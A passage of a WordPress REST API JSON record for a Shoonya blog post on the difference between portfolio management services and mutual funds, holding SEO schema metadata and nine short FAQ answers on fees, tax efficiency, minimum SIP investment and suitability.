Funds\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/12\\\/Difference-between-Portfolio-Management-and-Mutual-Funds_-Everything-you-need-to-know..jpg\",\"datePublished\":\"2022-12-23T05:23:42+00:00\",\"dateModified\":\"2023-10-04T09:50:22+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"Are you often confused between Mutual Funds and PMS? Know about Mutual Funds vs PMS, along with the PMS vs mutual fund returns.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412778057\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412787662\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412807049\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412821982\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412837144\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412851456\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412866959\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412887656\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412901568\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/12\\\/Difference-between-Portfolio-Management-and-Mutual-Funds_-Everything-you-need-to-know..jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/12\\\/Difference-between-Portfolio-Management-and-Mutual-Funds_-Everything-you-need-to-know..jpg\",\"width\":1920,\"height\":1080,\"caption\":\"Difference between Portfolio Management and Mutual Funds_ Everything you need to know.\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Personal Finance\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/personal-finance\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Portfolio Management\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/personal-finance\\\/portfolio-management\\\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Difference Between Portfolio Management and Mutual Funds\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412778057\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412778057\",\"name\":\"What is the difference between portfolio management and mutual funds?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Both portfolio management and mutual funds aim to generate returns through investments, but they differ in several aspects. PMS offers customisation, transparency, flexibility, and direct accountability to investors, typically catering to high-net-worth individuals. Mutual funds are more accessible, tax-efficient, and diverse but lack customisation.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412787662\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412787662\",\"name\":\"How does the fee structure differ between portfolio management and mutual funds?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"PMS providers offer various fee structures, including fixed fees, performance fees, and fund management fees. Mutual funds typically have fixed charges based on the amount of individual investment.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412807049\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412807049\",\"name\":\"Can I start investing in mutual funds with a small amount?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Yes, mutual funds offer the flexibility of starting with small investments, such as Rs. 500, through Systematic Investment Plans (SIPs).\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412821982\",\"position\":4,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412821982\",\"name\":\"Which investment option is more tax-efficient, portfolio management, or mutual funds?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Mutual funds are generally more tax-efficient, as they enjoy certain tax exemptions. In contrast, PMS investors are subject to capital gains tax.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412837144\",\"position\":5,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412837144\",\"name\":\"What factors should I consider when choosing between portfolio management and mutual funds?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Consider your risk tolerance, investment objectives, financial resources, and the level of customization you require when deciding between portfolio management and mutual funds.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412851456\",\"position\":6,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412851456\",\"name\":\"What's the difference between mutual funds and portfolio management (PMS)?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Mutual funds pool money from investors and invest in a portfolio of assets. PMS offers customized investment solutions, managed by professionals based on individual needs.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412866959\",\"position\":7,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412866959\",\"name\":\"Is PMS better than MF?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"No clear answer; PMS offers flexibility and transparency but requires higher investment, while MF offers diversification, liquidity, and tax benefits but with less control.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412887656\",\"position\":8,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412887656\",\"name\":\"What is portfolio management in mutual funds?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"It's selecting, monitoring, and optimizing a mutual fund's securities by a fund manager to meet investors' objectives and market conditions.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412901568\",\"position\":9,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#faq-question-1696412901568\",\"name\":\"What's the difference between a fund and a portfolio?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"A fund is a pool of money managed by a professional, investing in a portfolio of assets. A portfolio can be self-managed or handled by a portfolio manager.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Difference Between Portfolio Management and Mutual Funds","description":"Are you often confused between Mutual Funds and PMS? Know about Mutual Funds vs PMS, along with the PMS vs mutual fund returns.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/","og_locale":"en_US","og_type":"article","og_title":"Difference Between Portfolio Management and Mutual Funds","og_description":"Are you often confused between Mutual Funds and PMS? Know about Mutual Funds vs PMS, along with the PMS vs mutual fund returns.","og_url":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2022-12-23T05:23:42+00:00","article_modified_time":"2023-10-04T09:50:22+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Difference-between-Portfolio-Management-and-Mutual-Funds_-Everything-you-need-to-know..jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"Difference Between Portfolio Management and Mutual Funds","datePublished":"2022-12-23T05:23:42+00:00","dateModified":"2023-10-04T09:50:22+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/"},"wordCount":1160,"image":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Difference-between-Portfolio-Management-and-Mutual-Funds_-Everything-you-need-to-know..jpg","keywords":["Portfolio management services","Portfolio Management vs Mutual Funds"],"articleSection":["Portfolio Management"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/","url":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/","name":"Difference Between Portfolio Management and Mutual Funds","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Difference-between-Portfolio-Management-and-Mutual-Funds_-Everything-you-need-to-know..jpg","datePublished":"2022-12-23T05:23:42+00:00","dateModified":"2023-10-04T09:50:22+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"Are you often confused between Mutual Funds and PMS? Know about Mutual Funds vs PMS, along with the PMS vs mutual fund returns.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412778057"},{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412787662"},{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412807049"},{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412821982"},{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412837144"},{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412851456"},{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412866959"},{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412887656"},{"@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412901568"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Difference-between-Portfolio-Management-and-Mutual-Funds_-Everything-you-need-to-know..jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Difference-between-Portfolio-Management-and-Mutual-Funds_-Everything-you-need-to-know..jpg","width":1920,"height":1080,"caption":"Difference between Portfolio Management and Mutual Funds_ Everything you need to know."},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Personal Finance","item":"https:\/\/shoonya.com\/blog\/personal-finance\/"},{"@type":"ListItem","position":3,"name":"Portfolio Management","item":"https:\/\/shoonya.com\/blog\/personal-finance\/portfolio-management\/"},{"@type":"ListItem","position":4,"name":"Difference Between Portfolio Management and Mutual Funds"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412778057","position":1,"url":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412778057","name":"What is the difference between portfolio management and mutual funds?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Both portfolio management and mutual funds aim to generate returns through investments, but they differ in several aspects. PMS offers customisation, transparency, flexibility, and direct accountability to investors, typically catering to high-net-worth individuals. Mutual funds are more accessible, tax-efficient, and diverse but lack customisation.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412787662","position":2,"url":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412787662","name":"How does the fee structure differ between portfolio management and mutual funds?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"PMS providers offer various fee structures, including fixed fees, performance fees, and fund management fees. Mutual funds typically have fixed charges based on the amount of individual investment.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412807049","position":3,"url":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412807049","name":"Can I start investing in mutual funds with a small amount?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Yes, mutual funds offer the flexibility of starting with small investments, such as Rs. 500, through Systematic Investment Plans (SIPs).","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412821982","position":4,"url":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412821982","name":"Which investment option is more tax-efficient, portfolio management, or mutual funds?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Mutual funds are generally more tax-efficient, as they enjoy certain tax exemptions. In contrast, PMS investors are subject to capital gains tax.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412837144","position":5,"url":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412837144","name":"What factors should I consider when choosing between portfolio management and mutual funds?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Consider your risk tolerance, investment objectives, financial resources, and the level of customization you require when deciding between portfolio management and mutual funds.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412851456","position":6,"url":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412851456","name":"What's the difference between mutual funds and portfolio management (PMS)?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Mutual funds pool money from investors and invest in a portfolio of assets. PMS offers customized investment solutions, managed by professionals based on individual needs.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412866959","position":7,"url":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412866959","name":"Is PMS better than MF?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"No clear answer; PMS offers flexibility and transparency but requires higher investment, while MF offers diversification, liquidity, and tax benefits but with less control.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412887656","position":8,"url":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412887656","name":"What is portfolio management in mutual funds?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"It's selecting, monitoring, and optimizing a mutual fund's securities by a fund manager to meet investors' objectives and market conditions.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412901568","position":9,"url":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#faq-question-1696412901568","name":"What's the difference between a fund and a portfolio?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"A fund is a pool of money managed by a professional, investing in a portfolio of assets. A portfolio can be self-managed or handled by a portfolio manager.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/115","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=115"}],"version-history":[{"count":5,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/115\/revisions"}],"predecessor-version":[{"id":5247,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/115\/revisions\/5247"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/238"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=115"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=115"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=115"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}